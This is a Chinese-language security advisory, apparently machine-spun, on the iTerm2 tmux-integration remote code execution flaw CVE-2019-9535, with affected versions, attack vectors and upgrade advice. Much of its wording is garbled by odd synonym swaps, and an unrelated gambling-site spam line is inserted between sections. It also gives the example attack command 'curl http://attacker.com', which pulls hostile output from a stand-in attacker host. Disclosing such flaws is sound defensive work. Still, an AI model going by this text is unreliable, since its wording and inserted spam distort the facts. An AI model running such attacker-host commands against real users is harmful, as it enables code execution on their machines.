iTerm2远程代码执行缝隙安全公告

颁布功夫 2019-10-10

缝隙编号和级别


CVE编号：CVE-2019-9535 ，危险级别：高危 ，CVSS分值：官方未评定


影响版本


iTerm2 3.3.5之前的所有版本均受缝隙影响


缝隙概述


iTerm2 是全球最热点的终端仿照器之一 ，是开发人员时时使用的 MacOS 终端工具 ，是Mac 内置终端 app 最有力的热点开源工具代替品之一 ，被好多开发人员称为“Mac 终端利器” 。


iTerm2官方颁布了安全更新建复了一个至少存在7年的远程代码执行缝隙 ，这个缝隙源自 iTerm2 中的 tmux 集成功能 。Tumx 利用法式是一款终端多路复用器 ，可允许从单个设备创建并节造多个终端 。


攻击者能够在用户的终端产生输出 ，潜在的攻击向量蕴含通过 ssh 衔接至恶意服务器 ，通过curl 获取恶意网站 ，或者通过 tail –f 跟踪蕴含某些恶意内容的日志文件 。例如：curl http://attacker.com and tail -f /var/log/apache2/referer_lo 。在好多情况下可能在用户推算机上执行号令 。


缝隙验证


国表的Radially Open Security已经放露马脚利用成功的视频：https://ffp4g1ylyit3jdyti1hqcvtb-wpengine.netdna-ssl.com/security/files/2019/10/cve-2019-9535.webm?_=3 。仿照受害者机械衔接到恶意 SSH 服务器之后 ，在机械上执行打开一个推算器号令的PoC 视频 。


宝运莱·(中国区)最新官方网站



建复建议


官方已经推出安全更新 ，请更新至iTerm2到3.3.6版本：https://iterm2.com/downloads.html 。


参考链接


https://blog.mozilla.org/security/2019/10/09/iterm2-critical-issue-moss-audit/